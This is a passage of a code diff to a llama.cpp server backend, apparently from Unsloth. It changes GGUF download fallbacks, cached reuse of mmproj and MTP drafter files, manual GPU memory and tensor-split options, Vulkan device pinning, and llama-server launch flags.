+                        fallback_file, fallback_size, fallback_shards = smaller
                         logger.info(
                             f"Selected variant too large ({total_gb:.1f} GB), "
                             f"falling back to {fallback_file} ({fallback_size / (1024**3):.1f} GB)"
                         )
                         gguf_filename = fallback_file
-                        _m = _SHARD_RE.match(gguf_filename)
-                        _prefix = _m.group(1) if _m else None
-                        if _prefix:
-                            prefix_lower = _prefix.lower()
-                            gguf_extra_shards = sorted(
-                                f
-                                for f in all_gguf_files
-                                if f.lower().startswith(prefix_lower)
-                                and f != gguf_filename
-                                and not _is_companion_gguf_path(f)
+                        gguf_extra_shards = fallback_shards
+
+                        # The selected fallback is a new load target. Apply the
+                        # same any-revision reuse policy before starting a fetch.
+                        fallback_candidate = _cached_complete_candidate(
+                            hf_repo, gguf_filename, gguf_extra_shards
+                        )
+                        if fallback_candidate is not None and (
+                            _cached_candidate_matches_revision_size(
+                                hf_repo, fallback_candidate, hf_token
                             )
-                        else:
-                            gguf_extra_shards = []
+                        ):
+                            logger.info(f"Reusing cached fallback GGUF: {fallback_candidate[0]}")
+                            return fallback_candidate[0]
                     else:
                         raise RuntimeError(
                             f"Not enough disk space to download any variant. "
-                            f"Only {free_gb:.1f} GB free in {cache_dir}"
+                            f"Only {free_gb:.1f} GB free in {download_cache_dir}"
                         )
         except RuntimeError:
             raise
@@ -4030,6 +5302,7 @@ class LlamaCppBackend:
                 cancel_event = cancel_event,
                 on_status = lambda m: logger.info(m),
                 force_download = force,
+                cache_dir = download_cache_dir,
             )
             for shard in gguf_extra_shards:
                 if cancel_event.is_set():
@@ -4041,6 +5314,7 @@ class LlamaCppBackend:
                     hf_token,
                     cancel_event = cancel_event,
                     force_download = force,
+                    cache_dir = download_cache_dir,
                 )
         except Exception as e:
             if isinstance(e, RuntimeError) and "Cancelled" in str(e):
@@ -4064,10 +5338,12 @@ class LlamaCppBackend:
         pick: Callable[[list[str]], Optional[str]],
         label: str,
         cancel_event: Optional[threading.Event] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Resolve and fetch a companion GGUF (mmproj / MTP drafter) by name.
 
-        Tries the live repo file list, then the local HF cache snapshots
+        Prefers a companion co-located with ``near_path``'s cache snapshot,
+        then tries the live repo file list, then the local HF cache snapshots
         (offline, same fallback as _download_gguf), then hf_hub_download.
         Runs WITHOUT self._lock (like _download_gguf); honors _cancel_event so
         an /unload between the main download and here skips the fetch.
@@ -4077,6 +5353,23 @@ class LlamaCppBackend:
         if cancel_event.is_set():
             return None
 
+        # Keep companion files in the main GGUF's snapshot.
+        if near_path:
+            cached = _companion_snapshot_sibling(near_path, pick)
+            if cached:
+                logger.info("Reusing cached %s: %s", label, cached)
+                return cached
+
+        from utils.hf_cache_settings import get_hf_cache_paths
+
+        companion_cache_dir = _hub_cache_dir_for_snapshot_path(near_path) or str(
+            get_hf_cache_paths().hub_cache
+        )
+
+        if _hub_download_in_flight(hf_repo):
+            logger.info("Skipping %s download while a hub download is active", label)
+            return None
+
         target: Optional[str] = None
         from huggingface_hub import list_repo_files
 
@@ -4107,7 +5400,7 @@ class LlamaCppBackend:
         if target is None:
             try:
                 from utils.models.model_config import _iter_hf_cache_snapshots
-                for snap in _iter_hf_cache_snapshots(hf_repo):
+                for snap in _iter_hf_cache_snapshots(hf_repo, companion_cache_dir):
                     rel_files = _gguf_snapshot_files(snap)
                     target = pick(rel_files)
                     if target is not None:
@@ -4119,6 +5412,21 @@ class LlamaCppBackend:
         if target is None or cancel_event.is_set():
             return None
 
+        # Offline, resolve the companion straight from the cache snapshot that
+        # holds it. resolve_cached_repo_id_case can return a partial lower-case
+        # spelling when any dir exists under the requested casing, so calling
+        # hf_hub_download with hf_repo would miss the canonical file and silently
+        # drop the companion. _cached_hf_snapshot_file scans every case variant.
+        if _hf_env_offline():
+            cached = _cached_hf_snapshot_file(
+                hf_repo,
+                target,
+                cache_dir = companion_cache_dir,
+            )
+            if cached:
+                logger.info("Resolved %s from local HF cache: %s", label, cached)
+                return cached
+
         try:
             logger.info(f"Downloading {label}: {hf_repo}/{target}")
             # Same policy; companions are best-effort (caller below swallows failures to None).
@@ -4127,6 +5435,7 @@ class LlamaCppBackend:
                 target,
                 hf_token,
                 cancel_event = cancel_event,
+                cache_dir = companion_cache_dir,
             )
         except Exception as e:
             logger.warning(f"Could not download {label}: {e}")
@@ -4138,40 +5447,64 @@ class LlamaCppBackend:
         hf_repo: str,
         hf_token: Optional[str] = None,
         cancel_event: Optional[threading.Event] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Download the mmproj (vision projection) file from a GGUF repo.
 
         Prefers mmproj-F16.gguf, else any mmproj*.gguf. Returns the local
         path, or None if none exists. ``cancel_event`` overrides
-        ``self._cancel_event`` (defaults to it).
+        ``self._cancel_event`` (defaults to it). ``near_path`` prefers a
+        copy co-located with the main GGUF's cache snapshot.
         """
 
-        def _pick_mmproj(candidates: list[str]) -> Optional[str]:
-            mmproj_files = sorted(
-                f
-                for f in candidates
-                if f.lower().endswith(".gguf") and "mmproj" in Path(f).name.lower()
-            )
-            if not mmproj_files:
-                return None
-            for f in mmproj_files:
-                if f.lower().endswith("-f16.gguf"):
-                    return f
-            return mmproj_files[0]
-
         return self._download_companion_gguf(
             hf_repo = hf_repo,
             hf_token = hf_token,
             pick = _pick_mmproj,
             label = "mmproj",
             cancel_event = cancel_event,
+            near_path = near_path,
         )
 
+    def _cached_repo_mtp_drafter(
+        self,
+        hf_repo: str,
+        *,
+        cache_dir: Optional[str] = None,
+    ) -> Optional[str]:
+        """A drafter already in this repo's local HF cache, reused offline when a
+        fresh copy can't be fetched. Prefers a repo-root ``mtp-*.gguf`` across all
+        cached snapshots; else an existing ``MTP/`` copy (any precision -- the
+        target verifies every drafted token). None if none is cached."""
+        try:
+            from utils.models.model_config import _iter_hf_cache_snapshots
+
+            roots: list[Path] = []
+            subdirs: list[Path] = []
+            snapshots = (
+                _iter_hf_cache_snapshots(hf_repo)
+                if cache_dir is None
+                else _iter_hf_cache_snapshots(hf_repo, cache_dir)
+            )
+            for snap in snapshots:  # newest first
+                for f in sorted(_gguf_snapshot_files(snap)):
+                    if _is_companion_gguf_path(f) and "mmproj" not in f.lower():
+                        (roots if "/" not in f else subdirs).append(snap / f)
+            # Keep snapshot order (newest first), root before any MTP/ copy, so a
+            # newer main GGUF pairs with the newest cached drafter, not a stale one.
+            for cand in roots + subdirs:
+                if cand.is_file():
+                    return str(cand)
+        except Exception as e:
+            logger.debug("Cached MTP drafter lookup failed for %s: %s", hf_repo, e)
+        return None
+
     def _download_mtp(
         self,
         *,
         hf_repo: str,
         hf_token: Optional[str] = None,
+        near_path: Optional[str] = None,
     ) -> Optional[str]:
         """Download the separate MTP drafter (speculative head) from a GGUF repo.
 
@@ -4184,18 +5517,42 @@ class LlamaCppBackend:
         """
 
         def _pick_mtp(candidates: list[str]) -> Optional[str]:
+            # Root-level only: MTP/ subdir copies now share the mtp- prefix but
+            # are explicit-selection, not auto-fetch (they'd sort ahead of root).
             mtp_files = sorted(
                 f
                 for f in candidates
-                if f.lower().endswith(".gguf") and Path(f).name.lower().startswith("mtp-")
+                if f.lower().endswith(".gguf")
+                and "/" not in f
+                and Path(f).name.lower().startswith("mtp-")
             )
             return mtp_files[0] if mtp_files else None
 
+        if near_path:
+            cached = _companion_snapshot_sibling(near_path, _pick_mtp)
+            if cached:
+                logger.info("Reusing cached MTP drafter: %s", cached)
+                return cached
+
+        # Offline, reuse any drafter already on disk (a fresh copy can't be
+        # fetched). Online, _download_companion_gguf/hf_hub_download reuse the
+        # current cached file and refetch a changed one, so skip the probe here
+        # rather than pair new weights with a stale draft.
+        if _hf_env_offline():
+            cached = self._cached_repo_mtp_drafter(
+                hf_repo,
+                cache_dir = _hub_cache_dir_for_snapshot_path(near_path),
+            )
+            if cached:
+                logger.info(f"Reusing cached MTP drafter (offline): {cached}")
+                return cached
+
         return self._download_companion_gguf(
             hf_repo = hf_repo,
             hf_token = hf_token,
             pick = _pick_mtp,
             label = "MTP drafter",
+            near_path = near_path,
         )
 
     def _resolve_launch_mmproj_path(
@@ -4321,7 +5678,7 @@ class LlamaCppBackend:
                 return (
                     f"'{arch}' is a diffusion (image-generation) GGUF, which "
                     "llama-server cannot run as a chat/completion model. Use "
-                    "Studio's Images page to generate with local diffusion "
+                    "Unsloth's Images page to generate with local diffusion "
                     "GGUFs such as FLUX and Qwen-Image."
                 )
             if is_ollama:
@@ -4777,6 +6134,7 @@ class LlamaCppBackend:
         )
         self._stdout_thread.start()
 
+    @_with_gguf_load_marker
     def load_model(
         self,
         *,
@@ -4799,6 +6157,11 @@ class LlamaCppBackend:
         speculative_type: Optional[str] = None,
         spec_draft_n_max: Optional[int] = None,
         tensor_parallel: bool = False,
+        gpu_memory_mode: Literal["auto", "manual"] = "auto",
+        gpu_layers: int = -1,
+        n_cpu_moe: int = 0,
+        tensor_split: Optional[List[float]] = None,
+        gpu_ids: Optional[List[int]] = None,
         n_threads: Optional[int] = None,
         n_gpu_layers: Optional[int] = None,  # caller compat, unused
         n_parallel: int = 1,
@@ -4831,6 +6194,14 @@ class LlamaCppBackend:
             "speculative_type": speculative_type,
             "spec_draft_n_max": spec_draft_n_max,
             "tensor_parallel": tensor_parallel,
+            # GPU-memory placement: replayed on respawn so a server SIGKILL'd by
+            # GPU/RAM pressure reloads onto the same devices with the same
+            # offload, not the auto defaults.
+            "gpu_memory_mode": gpu_memory_mode,
+            "gpu_layers": gpu_layers,
+            "n_cpu_moe": n_cpu_moe,
+            "tensor_split": list(tensor_split) if tensor_split is not None else None,
+            "gpu_ids": list(gpu_ids) if gpu_ids is not None else None,
             "n_threads": n_threads,
             "n_gpu_layers": n_gpu_layers,
             "n_parallel": n_parallel,
@@ -4857,6 +6228,11 @@ class LlamaCppBackend:
                 speculative_type = speculative_type,
                 spec_draft_n_max = spec_draft_n_max,
                 tensor_parallel = tensor_parallel,
+                gpu_memory_mode = gpu_memory_mode,
+                gpu_layers = gpu_layers,
+                n_cpu_moe = n_cpu_moe,
+                tensor_split = tensor_split,
+                gpu_ids = gpu_ids,
                 chat_template_override = chat_template_override,
                 extra_args = extra_args,
                 is_vision = is_vision,
@@ -4889,6 +6265,7 @@ class LlamaCppBackend:
             # Resolve llama-server now but defer a not-found error: a block-diffusion
             # GGUF uses the diffusion runner, and its arch is only known after the header.
             binary = self._find_llama_server_binary()
+            is_vulkan_backend = self._is_vulkan_backend(binary)
 
             # ── Phase 2: download (NO lock held, so cancel can proceed) ──
             # mtp_draft_path arrives set for local Gemma loads (detected
@@ -4897,6 +6274,19 @@ class LlamaCppBackend:
             # dead; cleanup runs even on exception so a transient hiccup
             # can't quarantine future loads.
             if hf_repo:
+                # Resolve the requested repo id to its cached canonical casing once,
+                # up front, so the main GGUF and its companions (mmproj / MTP drafter)
+                # all resolve from the same cache entry. Otherwise a case-variant
+                # request resolves the main file from the canonical cache dir while the
+                # companions keep the requested casing and miss the cached files.
+                _resolved_repo = _resolve_repo_id_casing(hf_repo)
+                if _resolved_repo != hf_repo:
+                    logger.info(
+                        "Using cached repo_id casing '%s' for requested '%s'",
+                        _resolved_repo,
+                        hf_repo,
+                    )
+                    hf_repo = _resolved_repo
                 with _hf_offline_if_dns_dead():
                     model_path = self._download_gguf(
                         hf_repo = hf_repo,
@@ -4908,6 +6298,7 @@ class LlamaCppBackend:
                         mmproj_path = self._download_mmproj(
                             hf_repo = hf_repo,
                             hf_token = hf_token,
+                            near_path = model_path,
                         )
                     # Auto-download the separate MTP drafter (e.g. Gemma) when
                     # the requested spec mode can use it. Repos with the head
@@ -4925,6 +6316,7 @@ class LlamaCppBackend:
                         mtp_draft_path = self._download_mtp(
                             hf_repo = hf_repo,
                             hf_token = hf_token,
+                            near_path = model_path,
                         )
             elif gguf_path:
                 if not Path(gguf_path).is_file():
@@ -4961,6 +6353,7 @@ class LlamaCppBackend:
                         model_identifier = model_identifier,
                         n_ctx = n_ctx,
                         extra_args = extra_args,
+                        gpu_ids = gpu_ids,
                     )
 
             if not binary:
@@ -5022,6 +6415,59 @@ class LlamaCppBackend:
                 # use the same helper so a healthy env-driven tensor server matches.
                 split_mode_override = parse_split_mode_override(extra_args)
                 tensor_parallel = _effective_tensor_parallel(extra_args, tensor_parallel)
+                # gpu_layers=0 leaves nothing to split, yet --split-mode tensor or
+                # a per-GPU ratio still launches tensor mode -- and under the
+                # CPU-only mask below (no visible devices) that aborts the server
+                # instead of loading on CPU. Drop both here (nothing to split).
+                if gpu_memory_mode == "manual" and gpu_layers == 0:
+                    if tensor_parallel or tensor_split:
+                        logger.info(
+                            "Manual gpu_layers=0: dropping tensor split/parallel "
+                            "flags (nothing to split on the GPU)"
+                        )
+                    tensor_parallel = False
+                    tensor_split = None
+                # Record the requested strategy for /status and the load
+                # response. 'manual' has no fallback, so the request value is the
+                # value actually applied.
+                self._gpu_memory_mode = gpu_memory_mode
+                # The layer/MoE/split knobs apply only with an explicit offload
+                # (manual + gpu_layers >= 0); else record defaults so /status and
+                # /load don't report knobs the server never applied.
+                if gpu_memory_mode == "manual" and gpu_layers >= 0:
+                    self._gpu_layers = gpu_layers
+                    self._n_cpu_moe = n_cpu_moe
+                    self._tensor_split = tensor_split
+                else:
+                    self._gpu_layers = -1
+                    self._n_cpu_moe = 0
+                    self._tensor_split = None
+                self._gpu_ids = sorted(gpu_ids) if gpu_ids else None
+                # Manual offload skips the TP planner but still emits --split-mode
+                # tensor at launch; drop it when fewer than 2 GPUs are in use --
+                # tensor split is a no-op there and aborts on some architectures.
+                # Done before the cache-drop below so a quantized KV survives.
+                if (
+                    tensor_parallel
+                    and gpu_memory_mode == "manual"
+                    and gpu_layers >= 0
+                    and self._effective_gpu_count(sorted(gpu_ids) if gpu_ids else None) < 2
+                ):
+                    logger.info(
+                        "Tensor parallelism requested in manual mode but fewer "
+                        "than 2 GPUs are in use; ignoring (needs >= 2)."
+                    )
+                    tensor_parallel = False
+                # Drop TP for manual + Auto layers before the cache-drop below (like
+                # the <2-GPU guard above), so a requested quantized KV survives into
+                # the --fit load rather than being stripped for a tensor attempt.
+                if tensor_parallel and gpu_memory_mode == "manual" and gpu_layers < 0:
+                    logger.info(
+                        "Manual mode with Auto layers hands memory management to "
+                        "llama.cpp --fit, which is incompatible with tensor "
+                        "parallelism; ignoring the tensor split."
+                    )
+                    tensor_parallel = False
                 # Tensor mode aborts on a quantized KV cache, so drop it for the
                 # tensor attempt (and strip any inherited/explicit --cache-type
                 # that would re-impose it when appended last). Layer split does
@@ -5102,6 +6548,12 @@ class LlamaCppBackend:
                         "Vision-capable GGUF loaded without a usable mmproj; "
                         "image input will be disabled for this session"
                     )
+                # Seed before the try: the except (GPU-selection failure ->
+                # --fit on) falls through to the launch which reads this, and the
+                # probe that assigns it may throw first. Captured before manual
+                # empty `gpus` so the speculative defaults stay GPU-aware and the
+                # CPU-fallback check still knows GPUs were present.
+                _detected_gpus: list[tuple[int, int]] = []
                 model_size = None  # set in the fit try; used by the APU RAM guard
                 # Layer-fallback min GPUs; raised below on a tensor downgrade. Bound
                 # before the try so the --fit-on except path still has it (no UnboundLocal).
@@ -5115,9 +6567,22 @@ class LlamaCppBackend:
                     model_size = gguf_size + mmproj_size
                     # 2-tuple gpus for existing logic + a total map for the absolute
                     # per-GPU headroom (correct when the GPU is already partly used).
-                    _gpu_mem = self._get_gpu_memory()
+                    # Pass binary so a Vulkan build probes ggml's Vulkan ordinals.
+                    _gpu_mem = self._get_gpu_memory(binary)
                     gpus = [(idx, free) for idx, free, _t in _gpu_mem]
                     total_by_idx = {idx: total for idx, _f, total in _gpu_mem}
+                    # GPU picker: restrict every mode to the chosen devices, so
+                    # auto selection only considers them and manual mask to
+                    # them (the env block below pins CUDA/HIP_VISIBLE_DEVICES).
+                    if gpu_ids:
+                        _picked = set(gpu_ids)
+                        gpus = [g for g in gpus if g[0] in _picked]
+
+                    # GPUs the model will run on -- captured before manual
+                    # empty `gpus` to bypass the planner. bool() drives the
+                    # GPU-aware speculative defaults; the list feeds the
+                    # CPU-fallback check.
+                    _detected_gpus = list(gpus)
 
                     def _gpu_usable(g, frac = _CTX_FIT_VRAM_FRACTION):
                         # Per-GPU usable budget for ranking: free - (1-frac)*total.
@@ -5149,6 +6614,44 @@ class LlamaCppBackend:
                     # GPU/VRAM-fit logic below may shrink it on limited HW.
                     max_available_ctx = self._context_length or effective_ctx
 
+                    # Manual + Auto layers (the Manual default): hand memory
+                    # management to llama.cpp's --fit. Emptying the probed GPU set
+                    # no-ops the selection/TP planning below, leaving gpu_indices
+                    # None (an explicit gpu_ids pick still pins below) and use_fit
+                    # True. An explicit context is honored (--fit optimizes around
+                    # it); 0 lets --fit size it.
+                    if gpu_memory_mode == "manual" and gpu_layers < 0:
+                        # Tensor parallelism was already dropped above (before the
+                        # cache-drop), so a quantized KV survives into this --fit load.
+                        gpus = []
+                        effective_ctx = requested_ctx if requested_ctx > 0 else 0
+                        original_ctx = effective_ctx
+                        # --fit aborts under --split-mode tensor; a raw extras
+                        # --split-mode/--tensor-split (appended last) would
+                        # otherwise reach llama-server. Strip it like the TP
+                        # downgrade does.
+                        extra_args = strip_split_mode_only(extra_args)
+                    elif gpu_memory_mode == "manual":
+                        # Manual offload (--gpu-layers + --fit off): no automatic
+                        # device masking (a gpu_ids pick still pins below) or
+                        # context cap -- the user owns both. tensor_parallel is
+                        # honored but skips the memory-based planner (gpus = []);
+                        # the toggle just emits --split-mode tensor (split by free
+                        # VRAM, or by the Split ratio if set).
+                        gpus = []
+                        effective_ctx = (
+                            requested_ctx if requested_ctx > 0 else (self._context_length or 0)
+                        )
+                        original_ctx = effective_ctx
+                        # Strip the user --split-mode when the toggle owns the split
+                        # (TP engaged -> Studio emits --split-mode tensor) or when the
+                        # user asked for tensor (which aborts on a single GPU even if
+                        # the manual <2-GPU guard downgraded TP). Otherwise keep their
+                        # non-tensor mode (row/none/layer) -- the toggle can't express
+                        # those.
+                        if tensor_parallel or split_mode_override == "tensor":
+                            extra_args = strip_split_mode_only(extra_args)
+
                     # Will MTP engage? If so, auto-fit reserves draft-model VRAM.
                     # Mirrors _build_speculative_flags: forced mtp/mtp+ngram always
                     # engage; auto only on an MTP model >= 3B; ngram/off never. A
@@ -5164,7 +6667,7 @@ class LlamaCppBackend:
                         and not bool(mtp_draft_path)
                     )
                     # LLAMA_ARG_SPEC_TYPE only reaches the child when neither extras
-                    # nor Studio emit a spec flag (mode "off", no user --spec-type),
+                    # nor Unsloth emit a spec flag (mode "off", no user --spec-type),
                     # since _build_speculative_flags emits one for every other mode.
                     # Consult the env for the reserve only then, else a stale MTP env
                     # would over-reserve.
@@ -5173,7 +6676,7 @@ class LlamaCppBackend:
                         if (not _extra_args_set_spec_type(extra_args) and _mtp_canonical == "off")
                         else {}
                     )
-                    # Extras can run MTP even when Studio suppresses its own emission.
+                    # Extras can run MTP even when Unsloth suppresses its own emission.
                     _user_mtp_via_extras = _extra_args_requests_mtp(extra_args, env = _spec_env)
                     # A non-MTP model-based draft mode (draft-simple/draft-eagle3) in
                     # extras also loads a separate draft model that needs reserving;
@@ -5236,10 +6739,13 @@ class LlamaCppBackend:
                     _extra_n_max = _extra_args_spec_draft_n_max(extra_args)
                     _mtp_eff_n_max = _extra_n_max if _extra_n_max is not None else spec_draft_n_max
                     if _mtp_eff_n_max is None:
-                        _mtp_eff_n_max = 2 if gpus else 3
+                        # _detected_gpus (not gpus) so manual -- which empty
+                        # gpus to bypass the planner -- keep the GPU draft depth the
+                        # launch flags also use, instead of the CPU default.
+                        _mtp_eff_n_max = 2 if _detected_gpus else 3
                     # Separate-drafter weights live on GPU (an embedded head is
                     # already in model_size). Size the drafter the launch loads, by
-                    # precedence: extras --model-draft (last-wins), else Studio's
+                    # precedence: extras --model-draft (last-wins), else Unsloth's
                     # emitted mtp_draft_path, else the env drafter. Sizing the wrong
                     # one would under-reserve and OOM.
                     _cli_draft_for_budget = _extra_args_mtp_draft_path(extra_args, env = {})
@@ -5374,7 +6880,8 @@ class LlamaCppBackend:
                     # honor it, cap only if it fits no combination. Auto (native):
                     # prefer fewer GPUs with reduced context (multi-GPU is slower).
                     gpu_indices, use_fit = None, True
-                    # Per-GPU weight proportions for tensor mode (None = even).
+                    # Per-GPU weight proportions for tensor mode (None lets
+                    # llama.cpp split by free VRAM).
                     tp_tensor_split: Optional[list[int]] = None
                     explicit_ctx = requested_ctx > 0
                     # Flat MTP reserve fraction: used only as the fallback when the
@@ -5449,7 +6956,12 @@ class LlamaCppBackend:
                     # GPUs below that reserve from the set up front (gpu_indices
                     # becomes the CUDA_VISIBLE_DEVICES mask, fully excluding them).
                     tp_gpus = gpus
-                    if tensor_parallel:
+                    # Manual mode owns the layer count and context, so it skips
+                    # the memory-based planner; its toggle still emits
+                    # --split-mode tensor below (split by free VRAM, or by the
+                    # Split ratio if set). auto plans here.
+                    plan_tp = tensor_parallel and gpu_memory_mode != "manual"
+                    if plan_tp:
                         # Deterministic per-device compute buffer (replicated on
                         # every device in tensor mode); flat fallback when dims
                         # are unavailable. _plan_tensor_parallel uses the same.
@@ -5468,7 +6980,7 @@ class LlamaCppBackend:
                         # free yet have no budget left.
                         tp_gpus = [g for g in gpus if _gpu_usable(g) >= reserve_mib]
 
-                    if tensor_parallel and len(tp_gpus) < 2:
+                    if plan_tp and len(tp_gpus) < 2:
                         # Tensor parallelism needs >= 2 usable GPUs. On a single
                         # GPU --split-mode tensor is a no-op; with 0 GPUs (CPU-only
                         # or probe failed) it must not reach llama-server; and a
@@ -5884,11 +7396,22 @@ class LlamaCppBackend:
                     tp_tensor_split = None
                     effective_ctx = requested_ctx  # fall back to original
 
+                # GPU picker: when no narrower subset was chosen (manual, or
+                # a failed/file-size selection), pin the whole picked set so the
+                # model can't spill onto an unpicked GPU.
+                if gpu_ids and gpu_indices is None:
+                    gpu_indices = sorted(gpu_ids)
+
                 # Unified-memory APUs load weights into system RAM (under WSL the VM
                 # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an
                 # oversize load the OS would otherwise kill mid-flight. Base model
                 # only: an optional MTP drafter is dropped by the MTP-drop fallback.
-                if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices):
+                # CUDA/ROCm ids only; a Vulkan build's gpu_indices are ggml ordinals.
+                if (
+                    model_size is not None
+                    and not is_vulkan_backend
+                    and self._amd_apu_wants_unified_memory(gpu_indices)
+                ):
                     _ram_msg = self._apu_ram_shortfall_message(
                         model_size, self._available_system_memory_mib()
                     )
@@ -5915,8 +7438,6 @@ class LlamaCppBackend:
                     model_path,
                     "--port",
                     str(self._port),
-                    "-c",
-                    str(effective_ctx) if effective_ctx > 0 else "0",
                     "--parallel",
                     str(n_parallel),
                     "--flash-attn",
@@ -5924,6 +7445,17 @@ class LlamaCppBackend:
                     # Error out at n_ctx instead of silently rotating the KV cache; frontend catches it and points the user at "Context Length".
                     "--no-context-shift",
                 ]
+                # A positive context is always passed (in auto-fit, --fit then
+                # optimizes the gpu-layer offload around it). When auto-fit has
+                # no explicit context, omit -c so --fit sizes it to fit VRAM:
+                # "-c 0" would instead pin the FULL native context (llama.cpp's
+                # -c handler sets fit_params_min_ctx = UINT32_MAX on value 0,
+                # disabling --fit's reduction). See gpu_memory_mode.
+                auto_fit = gpu_memory_mode == "manual" and gpu_layers < 0
+                if effective_ctx > 0:
+                    cmd.extend(["-c", str(effective_ctx)])
+                elif not auto_fit:
+                    cmd.extend(["-c", "0"])
 
                 # Report a clean public model id (matching GET /v1/models) rather
                 # than the raw -m path in llama-server's own /v1/models and the
@@ -5935,7 +7467,63 @@ class LlamaCppBackend:
                     cmd.extend(["--alias", _alias])
 
                 fully_gpu_offloaded = False
-                if use_fit:
+                # Set when a positional --tensor-split is emitted, so the env block
+                # can pin CUDA to PCI order even without a GPU subset (see below).
+                manual_tensor_split_emitted = False
+                if gpu_memory_mode == "manual" and gpu_layers >= 0:
+                    # Pin the user's layer count and disable auto-fit. --fit off
+                    # also means _ctx_integrity_flags must not add --fit-ctx.
+                    use_fit = False
+                    cmd.extend(["--gpu-layers", str(gpu_layers), "--fit", "off"])
+                    # Keep the first n_cpu_moe MoE layers' experts on CPU.
+                    moe_flag = self._resolve_cpu_moe_flag(
+                        n_cpu_moe,
+                        self.n_moe_layers,
+                        self._leading_dense_block_count or 0,
+                    )
+                    if moe_flag is not None:
+                        cmd.extend(["--n-cpu-moe", str(moe_flag)])
+                    elif n_cpu_moe:
+                        # Requested on a dense model: nothing was emitted, so
+                        # don't report a count llama-server never received.
+                        self._n_cpu_moe = 0
+                    # Distribute the model across GPUs by the user's per-GPU shares
+                    # (--tensor-split). Works with layer split and tensor
+                    # parallelism; --fit off means no fit/tensor abort. Only emit
+                    # when >1 GPU is in use AND the list length matches that count:
+                    # the field is hidden (not cleared) when the picker narrows to
+                    # one, and a direct caller can send a stale ratio for a different
+                    # GPU set. Studio drops any mismatch to the free-VRAM default
+                    # (llama.cpp would silently zero-pad a short list, or abort past
+                    # its 16-device cap).
+                    _split_gpus = self._effective_gpu_count(gpu_indices)
+                    if tensor_split and _split_gpus > 1:
+                        # An all-zero/non-positive sanitized split assigns nothing
+                        # anywhere, so fall through to the free-VRAM default in
+                        # that case.
+                        _sanitized_split = self._sanitize_tensor_split(tensor_split)
+                        _split_total = sum(_sanitized_split)
+                        if len(_sanitized_split) == _split_gpus and _split_total > 0:
+                            cmd.extend(
+                                ["--tensor-split", ",".join(f"{x:g}" for x in _sanitized_split)]
+                            )
+                            self._tensor_split = _sanitized_split
+                            manual_tensor_split_emitted = True
+                        else:
+                            logger.warning(
+                                "Dropping manual --tensor-split (%d entries for "
+                                "%d GPUs, sanitized total %s); llama.cpp's "
+                                "free-VRAM split applies instead",
+                                len(tensor_split),
+                                _split_gpus,
+                                _split_total,
+                            )
+                            self._tensor_split = None
+                    elif tensor_split:
+                        # Single effective GPU: the split is never emitted, so
+                        # don't report it as active via /status and /load.
+                        self._tensor_split = None
+                elif use_fit:
                     cmd.extend(["--fit", "on"])
                 elif gpu_indices is not None:
                     # Fits on selected GPU(s) -- force all layers on GPU. --fit off is
@@ -5949,10 +7537,31 @@ class LlamaCppBackend:
                 # when the binary advertises it (older/custom binaries may not).
                 if server_caps.get("supports_metrics"):
                     cmd.append("--metrics")
+                self._slot_save_dir = None
+                self._slot_save_binary = None
+                self._prompt_cache_disabled = False
+                if server_caps.get("supports_slot_save"):
+                    try:
+                        from utils.paths.storage_roots import (  # noqa: WPS433
+                            llama_slot_cache_root,
+                        )
+
+                        slot_dir = llama_slot_cache_root()
+                        slot_dir.mkdir(parents = True, exist_ok = True)
+                        # Saved KV encodes chat content; keep it from other local users.
+                        with contextlib.suppress(OSError):
+                            os.chmod(slot_dir, 0o700)
+                        cmd.extend(["--slot-save-path", str(slot_dir)])
+                        self._slot_save_dir = str(slot_dir)
+                        self._slot_save_binary = (binary, Path(binary).stat().st_mtime_ns)
+                    except OSError:
+                        self._slot_save_dir = None
+                        self._slot_save_binary = None
                 cmd.extend(
                     self._ctx_integrity_flags(
                         n_parallel,
                         use_fit,
+                        auto_fit,
                         requested_ctx,
                         effective_ctx,
                         server_caps,
@@ -6016,9 +7625,11 @@ class LlamaCppBackend:
                     self._cache_type_kv = None
 
                 # Tensor parallelism: split the model across GPUs by tensor
-                # rather than by layer. Multi-GPU only -- a no-op on a single
-                # GPU. Default (layer split) is left implicit by omitting the
-                # flag. See llama.cpp --split-mode.
+                # rather than by layer. The UI only offers it on multi-GPU; a
+                # direct single-GPU caller is redundant (supported archs no-op,
+                # unsupported ones abort and the /load path retries layer split).
+                # Default (layer split) is left implicit by omitting the flag.
+                # See llama.cpp --split-mode.
                 if tensor_parallel:
                     cmd.extend(["--split-mode", "tensor"])
                     if tp_tensor_split and len(tp_tensor_split) > 1:
@@ -6050,7 +7661,7 @@ class LlamaCppBackend:
                     extra_args = extra_args,
                     model_identifier = model_identifier,
                     model_path = model_path,
-                    gpus = bool(gpus),
+                    gpus = bool(_detected_gpus),
                     binary = binary,
                     mtp_draft_path = launch_mtp_draft_path,
                 )
@@ -6129,8 +7740,9 @@ class LlamaCppBackend:
                 else:
                     self._api_key = None
 
-                # Windows + full offload: disable KV checkpoints (WDDM/PCI-E
-                # overhead). CPU/partial offload keeps prompt caching. #5692.
+                # Windows + full offload: drop the host-RAM KV checkpoints that cause
+                # WDDM/PCI-E overhead, but keep prompt caching (in-VRAM prefix reuse) so
+                # a repeated prompt is not re-prefilled on every request. #5692.
                 if sys.platform == "win32" and full_offload_tuning_active:
                     unsupported_cache_flags: list[str] = []
                     if server_caps.get("supports_cache_ram"):
@@ -6141,18 +7753,20 @@ class LlamaCppBackend:
                         cmd.extend(["--ctx-checkpoints", "0"])
                     else:
                         unsupported_cache_flags.append("--ctx-checkpoints")
-                    if server_caps.get("supports_no_cache_prompt"):
-                        cmd.append("--no-cache-prompt")
-                    else:
-                        unsupported_cache_flags.append("--no-cache-prompt")
                     if unsupported_cache_flags:
                         logger.info(
                             "Skipping unsupported Windows cache flags for llama-server: %s",
                             ", ".join(unsupported_cache_flags),
                         )
 
+                # Vulkan pins via --device (a cmd arg, unlike the env-based
+                # CUDA/ROCm pin below), emitted BEFORE user extras so llama.cpp's
+                # last-wins parsing lets a user --device override Unsloth's pick.
+                if is_vulkan_backend and gpu_indices is not None:
+                    cmd += LlamaCppBackend._vulkan_pin_args(gpu_indices)
+
                 # User pass-through args go last so llama.cpp's last-wins parsing
-                # lets the user override Studio's auto-set flags. Already
+                # lets the user override Unsloth's auto-set flags. Already
                 # validated by the route via validate_extra_args().
                 if extra_args:
                     cmd.extend(str(a) for a in extra_args)
@@ -6162,15 +7776,17 @@ class LlamaCppBackend:
 
